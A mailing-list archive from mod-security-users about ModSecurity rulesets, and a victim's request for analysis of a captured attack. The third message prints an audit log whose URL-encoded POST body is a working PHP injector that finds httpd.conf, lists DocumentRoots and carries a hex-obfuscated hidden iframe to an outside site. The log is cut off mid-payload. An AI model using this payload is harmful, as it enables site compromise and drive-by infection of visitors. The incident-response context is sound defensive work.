Robin Diederen | 3 Jan 00:18
Picon

Core rules for mod_security 1.9x or some differe solution...

Hello all,

 

First, let me introduce myself. My name is Robin and I just got into hosting (I’m hosting my own websites). While Googlin’ the internet for security enhancements for web servers, I stumbled upon mod_security. After some reading, I decided to give the module a try, as it sounds as quite a promising gain.

 

So I downloaded mod_security on my webserver (Ubuntu 6.0.6 LTS LAMP installation) by using the version offered through the Ubuntu repository. That went well (I would not have expected otherwise). Then, I downloaded the latest core ruleset from the mod_security website. However, that one didn’t work, as it is meant for 2.x versions of mod_security.

 

So now I’m looking for a ruleset that can work with the older mod_security (yeah I know I should not be doing that, but, then again, it’s only for testing purposes) or… a way to install mod_security on my Ubuntu installation (the make process always breaks on various error; some I can resolve, some not).

 

Who can help me?

 

Best, Robin

-------------------------------------------------------------------------
This SF.net email is sponsored by: Microsoft
Defy all challenges. Microsoft(R) Visual Studio 2005.
http://clk.atdmt.com/MRT/go/vse0120000070mrt/direct/01/
_______________________________________________
mod-security-users mailing list
mod-security-users <at> lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/mod-security-users
Ryan Barnett | 3 Jan 01:34

Re: Core rules for mod_security 1.9x or somediffere solution...

There are 2 different places you can look –

 

Keep in mind that both of these rulesets have some limitations (see http://www.modsecurity.org/blog/archives/2007/01/key_advantages.html) which is why we created the Core Rules.  They will, however, provide you with a starting point.

 

As for your compilation errors with the 2.x code, did you see this past email thread? http://marc.info/?l=mod-security-users&m=119364832414967&w=2  Are you seeing the same errors?

 

--
Ryan C. Barnett
ModSecurity Community Manager

Breach Security: Director of Training

Web Application Security Consortium (WASC) Member

CIS Apache Benchmark Project Lead

SANS Instructor, GCIA, GCFA, GCIH, GSNA, GCUX, GSEC

Author: Preventing Web Attacks with Apache

 

From: mod-security-users-bounces <at> lists.sourceforge.net [mailto:mod-security-users-bounces <at> lists.sourceforge.net] On Behalf Of Robin Diederen
Sent: Wednesday, January 02, 2008 6:19 PM
To: mod-security-users <at> lists.sourceforge.net
Subject: [mod-security-users] Core rules for mod_security 1.9x or somediffere solution...

 

Hello all,

 

First, let me introduce myself. My name is Robin and I just got into hosting (I’m hosting my own websites). While Googlin’ the internet for security enhancements for web servers, I stumbled upon mod_security. After some reading, I decided to give the module a try, as it sounds as quite a promising gain.

 

So I downloaded mod_security on my webserver (Ubuntu 6.0.6 LTS LAMP installation) by using the version offered through the Ubuntu repository. That went well (I would not have expected otherwise). Then, I downloaded the latest core ruleset from the mod_security website. However, that one didn’t work, as it is meant for 2.x versions of mod_security.

 

So now I’m looking for a ruleset that can work with the older mod_security (yeah I know I should not be doing that, but, then again, it’s only for testing purposes) or… a way to install mod_security on my Ubuntu installation (the make process always breaks on various error; some I can resolve, some not).

 

Who can help me?

 

Best, Robin

-------------------------------------------------------------------------
This SF.net email is sponsored by: Microsoft
Defy all challenges. Microsoft(R) Visual Studio 2005.
http://clk.atdmt.com/MRT/go/vse0120000070mrt/direct/01/
_______________________________________________
mod-security-users mailing list
mod-security-users <at> lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/mod-security-users
philippe dr | 3 Jan 10:25
Picon

hi, I have captured hacking activity in the modsecurity audit log, decoded the post payload and I u


Hi all,

 

My name is philippe, last week I have sucessfully installed ModSecurity2 and straight away it has catched up hacker activity on my centos4 system. So first thanks a lot for such a good tool, I regret I didn’t installed it sooner !!

 

I have located and removed the buggy cgi script the hacker was able to exploit.

And restricted his IP at firewall level.

 

Looking at the error log this has been going on for about a month with a couple of hack requests every day (about 4).

 

I have captured the audit log, and decoded the post payload, I understand this is malicious activity and whould like your opinion on:

 

- what the script is doing ?

-         where I should look in the system to find signs of compromise… if any

 

I am running a plesk 8 system, and I believe some protections mechanisms are there to protect the server, I did review quickly the syslog and susexeclog to find out suspects activity going on at the time of the attack but didn’t find anything yet.

 

I have changed my real host name with myhosthere for security reasons…

 

 

--ac6f6e57-A--

[31/Dec/2007:16:47:21 --0500] -R3NtX8AAAEAAFx7AmwAAAAW 195.5.116.250 49143 myiphere 80

--ac6f6e57-B--

POST /cgi-bin/at3/x/x2.cgi HTTP/1.0

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*

Accept-Language: en-us

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Connection: Keep-Alive

Cache-Control: no-cache

Host: myhosthere.com

Cookie: atluser=user$pass$atl$

Content-Length: 25633

 

--ac6f6e57-C--

x=32&template=/var/www/vhosts/myhosthere.com/httpdocs/st/backup.php&notes=%3C%3F%0A%0A%24%64%65%62%75%67%3D%30%3B%0A%0A%23%24%5F%47%45%54%5B%6C%5D%3D%30%3B%0A%0A%0A%0A%24%63%6F%64%65%20%3D%20%22%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%73%63%72%69%70%74%3E%20%76%61%72%20%73%3D%27%33%43%36%39%36%36%37%32%36%31%36%44%36%35%32%30%37%33%37%32%36%33%33%44%32%32%36%38%37%34%37%34%37%30%33%41%32%46%32%46%37%37%37%37%37%37%32%45%36%38%37%31%36%44%37%30%36%37%32%45%36%33%36%46%36%44%32%46%36%36%37%32%36%35%36%35%37%30%36%46%37%32%36%45%32%46%37%34%36%38%37%35%36%44%36%32%37%33%32%46%37%41%32%46%37%33%37%34%36%31%37%34%36%39%36%33%32%45%37%30%36%38%37%30%32%32%32%30%37%37%36%39%36%34%37%34%36%38%33%44%33%32%32%30%36%38%36%35%36%39%36%37%36%38%37%34%33%44%33%32%32%30%37%33%37%34%37%39%36%43%36%35%33%44%32%32%36%34%36%39%37%33%37%30%36%43%36%31%37%39%33%41%36%45%36%46%36%45%36%35%32%32%33%45%33%43%32%46%36%39%36%36%37%32%36%31%36%44%36%35%33%45%27%3B%20%76%61%72%20%6F%3D%27%27%3B%20%66%6F%72%28%69%3D%30%3B%69%3C%73%2E%6C%65%6E%67%74%68%3B%69%3D%69%2B%32%29%20%7B%20%76%61%72%20%63%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%33%37%29%3B%20%20%6F%3D%6F%2B%63%2B%73%2E%73%75%62%73%74%72%28%69%2C%32%29%3B%7D%20%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%6F%29%29%3B%20%3C%2F%73%63%72%69%70%74%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22%3B%0A%0A%65%72%72%6F%72%5F%72%65%70%6F%72%74%69%6E%67%28%20%45%5F%45%52%52%4F%52%20%29%3B%0A%0A%69%66%20%28%24%5F%47%45%54%5B%6C%5D%3D%3D%30%29%20%7B%20%24%5F%47%45%54%5B%70%5D%20%3D%20%27%2E%2F%27%3B%20%7D%0A%69%66%20%28%24%5F%47%45%54%5B%6C%5D%3D%3D%31%29%20%7B%20%24%5F%47%45%54%5B%70%5D%20%3D%20%27%2E%2E%2F%27%3B%20%7D%0A%69%66%20%28%24%5F%47%45%54%5B%6C%5D%3D%3D%32%29%20%7B%20%24%5F%47%45%54%5B%70%5D%20%3D%20%27%2E%2E%2F%2E%2E%2F%27%3B%20%7D%0A%69%66%20%28%24%5F%47%45%54%5B%6C%5D%3D%3D%33%29%20%7B%20%24%5F%47%45%54%5B%70%5D%20%3D%20%27%2E%2E%2F%2E%2E%2F%2E%2E%2F%27%3B%20%7D%0A%69%66%20%28%24%5F%47%45%54%5B%6C%5D%3D%3D%34%29%20%7B%20%24%5F%47%45%54%5B%70%5D%20%3D%20%27%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%27%3B%20%7D%0A%0A%24%70%61%74%68%3D%24%61%72%67%76%5B%31%5D%3B%0A%69%66%20%28%73%74%72%6C%65%6E%28%24%70%61%74%68%29%3C%32%29%7B%20%24%70%61%74%68%3D%24%5F%47%45%54%5B%70%5D%3B%20%7D%0A%69%66%20%28%73%74%72%6C%65%6E%28%24%70%61%74%68%29%3C%32%29%7B%20%24%70%61%74%68%3D%27%2E%2F%27%3B%20%7D%0A%0A%0A%69%66%20%28%24%5F%47%45%54%5B%6C%5D%3D%3D%31%30%30%20%6F%72%20%24%61%72%67%76%5B%32%5D%3D%3D%27%31%30%30%27%29%20%0A%7B%0A%24%73%65%72%76%65%72%72%6F%6F%74%3D%27%27%3B%0A%24%70%61%74%68%73%20%3D%20%67%65%74%70%61%74%68%73%28%29%3B%0A%65%63%68%6F%20%22%70%61%74%68%73%3D%24%70%61%74%68%73%5C%6E%22%3B%0A%0A%24%63%6F%75%6E%74%77%72%3D%30%3B%0A%24%63%6F%75%6E%74%64%6F%6E%65%3D%30%3B%0A%24%63%6F%75%6E%74%70%72%65%76%3D%30%3B%0A%24%61%6C%6C%20%3D%20%65%78%70%6C%6F%64%65%28%27%3A%3A%27%2C%24%70%61%74%68%73%29%3B%0A%66%6F%72%65%61%63%68%20%28%24%61%6C%6C%20%61%73%20%24%70%61%74%68%29%0A%7B%0A%20%20%63%68%65%63%6B%70%61%74%68%28%24%70%61%74%68%29%3B%0A%7D%0A%0A%65%63%68%6F%20%22%20%20%43%6F%75%6E%74%57%52%3A%20%24%63%6F%75%6E%74%77%72%3C%62%72%3E%5C%6E%22%3B%0A%65%63%68%6F%20%22%43%6F%75%6E%74%44%6F%6E%65%3A%20%24%63%6F%75%6E%74%64%6F%6E%65%3C%62%72%3E%5C%6E%22%3B%0A%65%63%68%6F%20%22%43%6F%75%6E%74%50%72%65%76%3A%20%24%63%6F%75%6E%74%70%72%65%76%3C%62%72%3E%5C%6E%22%3B%0A%0A%0A%65%78%69%74%3B%0A%0A%7D%0A%0A%65%6C%73%65%0A%7B%0A%20%20%20%20%24%63%6F%75%6E%74%77%72%3D%30%3B%0A%20%20%20%20%24%63%6F%75%6E%74%64%6F%6E%65%3D%30%3B%0A%20%20%20%20%24%63%6F%75%6E%74%70%72%65%76%3D%30%3B%0A%20%20%20%20%63%68%65%63%6B%70%61%74%68%28%24%70%61%74%68%29%3B%0A%20%20%20%20%65%63%68%6F%20%22%20%20%43%6F%75%6E%74%57%52%3A%20%24%63%6F%75%6E%74%77%72%3C%62%72%3E%5C%6E%22%3B%0A%20%20%20%20%65%63%68%6F%20%22%43%6F%75%6E%74%44%6F%6E%65%3A%20%24%63%6F%75%6E%74%64%6F%6E%65%3C%62%72%3E%5C%6E%22%3B%0A%20%20%20%20%65%63%68%6F%20%22%43%6F%75%6E%74%50%72%65%76%3A%20%24%63%6F%75%6E%74%70%72%65%76%3C%62%72%3E%5C%6E%22%3B%0A%7D%0A%0A%65%78%69%74%3B%0A%0A%66%75%6E%63%74%69%6F%6E%20%67%65%74%70%61%74%68%73%28%29%0A%7B%0A%20%20%67%6C%6F%62%61%6C%20%24%64%65%62%75%67%2C%24%73%65%72%76%65%72%72%6F%6F%74%3B%0A%23%20%20%69%66%20%28%24%64%65%62%75%67%21%3D%31%29%20%7B%20%69%66%20%28%66%69%6C%65%5F%65%78%69%73%74%73%28%27%2F%74%6D%70%2F%70%61%74%68%73%27%29%29%20%7B%20%72%65%74%75%72%6E%20%27%27%3B%20%7D%20%20%24%66%70%3D%66%6F%70%65%6E%28%27%2F%74%6D%70%2F%70%61%74%68%73%27%2C%27%77%27%29%3B%20%66%63%6C%6F%73%65%28%24%66%70%29%3B%20%7D%0A%0A%20%20%20%20%24%70%61%74%68%73%20%3D%20%27%3A%3A%27%3B%0A%0A%20%20%20%20%24%63%6F%6D%6D%61%6E%64%20%20%3D%20%27%66%69%6E%64%20%2F%65%74%63%20%32%3E%2F%64%65%76%2F%6E%75%6C%6C%20%27%2E%63%68%72%28%30%78%37%43%29%2E%27%20%67%72%65%70%20%5C%27%68%74%74%70%64%5C%2E%63%6F%6E%66%5C%27%27%3B%0A%20%20%20%20%24%63%6F%6D%6D%61%6E%64%20%2E%3D%20%27%3B%66%69%6E%64%20%2F%76%61%72%20%32%3E%2F%64%65%76%2F%6E%75%6C%6C%20%27%2E%63%68%72%28%30%78%37%43%29%2E%27%20%67%72%65%70%20%5C%27%68%74%74%70%64%5C%2E%63%6F%6E%66%5C%27%27%3B%0A%20%20%20%20%24%63%6F%6D%6D%61%6E%64%20%2E%3D%20%27%3B%66%69%6E%64%20%2F%75%73%72%2F%6C%6F%63%61%6C%20%32%3E%2F%64%65%76%2F%6E%75%6C%6C%20%27%2E%63%68%72%28%30%78%37%43%29%2E%27%20%67%72%65%70%20%5C%27%68%74%74%70%64%5C%2E%63%6F%6E%66%5C%27%27%3B%0A%20%20%20%20%24%66%70%20%3D%20%70%6F%70%65%6E%28%24%63%6F%6D%6D%61%6E%64%2C%27%72%27%29%3B%0A%20%20%20%20%77%68%69%6C%65%20%28%21%66%65%6F%66%28%24%66%70%29%29%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%24%66%6E%61%6D%65%20%3D%20%66%67%65%74%73%28%24%66%70%29%3B%20%20%0A%20%20%20%20%20%20%24%66%6E%61%6D%65%20%3D%20%73%75%62%73%74%72%28%24%66%6E%61%6D%65%2C%30%2C%73%74%72%6C%65%6E%28%24%66%6E%61%6D%65%29%2D%31%29%3B%0A%20%20%20%20%20%20%69%66%20%28%73%74%72%6C%65%6E%28%24%66%6E%61%6D%65%29%3C%31%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%20%20%20%20%65%63%68%6F%20%22%68%74%74%70%64%2E%63%6F%6E%66%3A%20%22%2E%24%66%6E%61%6D%65%2E%22%5C%6E%22%3B%0A%20%20%20%20%20%20%69%66%20%28%24%64%65%62%75%67%3D%3D%31%29%20%7B%20%24%66%6E%61%6D%65%3D%27%68%74%74%70%64%2E%63%6F%6E%66%27%3B%20%7D%0A%20%20%20%20%20%20%24%70%61%74%68%73%20%3D%20%63%68%65%63%6B%63%6F%6E%66%28%24%66%6E%61%6D%65%2C%24%70%61%74%68%73%2C%27%27%29%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%7D%0A%20%20%20%20%70%63%6C%6F%73%65%28%24%66%70%29%3B%0A%20%20%20%20%0A%20%20%20%20%20%20%69%66%20%28%73%75%62%73%74%72%28%24%70%61%74%68%73%2C%30%2C%32%29%3D%3D%27%3A%3A%27%29%20%20%7B%20%24%70%61%74%68%73%20%3D%20%73%75%62%73%74%72%28%24%70%61%74%68%73%2C%32%2C%73%74%72%6C%65%6E%28%24%70%61%74%68%73%29%2D%32%29%3B%7D%0A%20%20%20%20%20%20%69%66%20%28%73%75%62%73%74%72%28%24%70%61%74%68%73%2C%2D%32%2C%32%29%3D%3D%27%3A%3A%27%29%20%7B%20%24%70%61%74%68%73%20%3D%20%73%75%62%73%74%72%28%24%70%61%74%68%73%2C%30%2C%73%74%72%6C%65%6E%28%24%70%61%74%68%73%29%2D%32%29%3B%7D%20%0A%20%20%20%20%20%20%69%66%20%28%73%74%72%6C%65%6E%28%24%70%61%74%68%73%29%3D%3D%30%29%20%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%65%63%68%6F%20%22%50%61%74%68%73%20%66%6F%75%6E%64%3A%20%30%5C%6E%22%3B%20%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%65%6C%73%65%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%65%63%68%6F%20%22%45%4E%44%20%50%61%74%68%73%20%66%6F%75%6E%64%3A%20%22%2E%28%63%6F%75%6E%74%28%65%78%70%6C%6F%64%65%28%27%3A%3A%27%2C%24%70%61%74%68%73%29%29%29%2E%22%5C%6E%22%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%0A%0A%20%20%20%20%72%65%74%75%72%6E%20%24%70%61%74%68%73%3B%0A%0A%7D%0A%0A%0A%0A%66%75%6E%63%74%69%6F%6E%20%63%68%65%63%6B%63%6F%6E%66%28%24%66%6E%61%6D%65%2C%24%70%61%74%68%73%2C%24%73%65%72%76%65%72%72%6F%6F%74%29%0A%7B%0A%23%20%20%20%20%65%63%68%6F%20%22%63%68%65%63%6B%69%6E%67%20%63%6F%6E%66%20%66%69%6C%65%3A%20%24%66%6E%61%6D%65%5C%6E%22%3B%0A%0A%20%20%20%20%24%66%70%20%3D%20%66%6F%70%65%6E%28%24%66%6E%61%6D%65%2C%27%72%27%29%3B%0A%20%20%20%20%69%66%20%28%21%24%66%70%29%20%7B%20%20%65%63%68%6F%20%22%70%65%72%6D%69%73%73%69%6F%6E%20%64%65%6E%69%65%64%3A%20%24%66%6E%61%6D%65%5C%6E%22%3B%20%72%65%74%75%72%6E%20%27%27%3B%20%7D%0A%20%20%20%20%0A%20%20%20%20%77%68%69%6C%65%20%28%21%66%65%6F%66%28%24%66%70%29%29%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%24%73%74%72%20%3D%20%66%67%65%74%73%28%24%66%70%29%3B%20%20%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%69%66%20%28%73%75%62%73%74%72%28%24%73%74%72%2C%30%2C%31%29%3D%3D%27%23%27%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%69%66%20%28%73%74%72%73%74%72%28%24%73%74%72%2C%27%53%65%72%76%65%72%52%6F%6F%74%27%29%29%20%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%6C%69%73%74%20%28%24%74%65%6D%70%2C%24%73%72%6F%6F%74%29%20%3D%20%65%78%70%6C%6F%64%65%28%27%53%65%72%76%65%72%52%6F%6F%74%27%2C%24%73%74%72%29%3B%0A%09%24%73%72%6F%6F%74%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%27%20%27%2C%27%27%2C%24%73%72%6F%6F%74%29%3B%0A%09%24%73%72%6F%6F%74%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%22%5C%6E%22%2C%27%27%2C%24%73%72%6F%6F%74%29%3B%0A%09%24%73%72%6F%6F%74%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%22%5C%22%22%2C%27%27%2C%24%73%72%6F%6F%74%29%3B%0A%09%69%66%20%28%73%75%62%73%74%72%5F%63%6F%75%6E%74%28%24%73%72%6F%6F%74%2C%27%2F%27%29%3C%32%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%09%24%73%65%72%76%65%72%72%6F%6F%74%20%3D%20%24%73%72%6F%6F%74%3B%0A%09%69%66%20%28%73%75%62%73%74%72%28%24%73%65%72%76%65%72%72%6F%6F%74%2C%2D%31%2C%31%29%21%3D%27%2F%27%29%20%7B%20%24%73%65%72%76%65%72%72%6F%6F%74%2E%3D%27%2F%27%3B%7D%0A%09%65%63%68%6F%20%22%53%65%72%76%65%72%52%6F%6F%74%3A%20%2D%24%73%65%72%76%65%72%72%6F%6F%74%2D%5C%6E%22%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%69%66%20%28%73%74%72%73%74%72%28%24%73%74%72%2C%27%44%6F%63%75%6D%65%6E%74%52%6F%6F%74%27%29%29%20%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%6C%69%73%74%20%28%24%74%65%6D%70%2C%24%70%61%74%68%29%20%3D%20%65%78%70%6C%6F%64%65%28%27%44%6F%63%75%6D%65%6E%74%52%6F%6F%74%27%2C%24%73%74%72%29%3B%0A%09%24%70%61%74%68%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%27%20%27%2C%27%27%2C%24%70%61%74%68%29%3B%0A%09%24%70%61%74%68%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%22%5C%6E%22%2C%27%27%2C%24%70%61%74%68%29%3B%0A%09%24%70%61%74%68%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%22%5C%22%22%2C%27%27%2C%24%70%61%74%68%29%3B%0A%09%69%66%20%28%73%75%62%73%74%72%5F%63%6F%75%6E%74%28%24%70%61%74%68%2C%27%2F%27%29%3C%32%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%09%69%66%20%28%21%28%73%74%72%73%74%72%28%24%70%61%74%68%73%2C%27%3A%3A%27%2E%24%70%61%74%68%2E%27%3A%3A%27%29%29%29%20%7B%20%24%70%61%74%68%73%20%2E%3D%20%24%70%61%74%68%2E%27%3A%3A%27%3B%20%65%63%68%6F%20%22%41%44%44%45%44%20%50%41%54%48%3A%20%24%70%61%74%68%5C%6E%22%3B%20%7D%0A%09%2F%2F%65%63%68%6F%20%22%5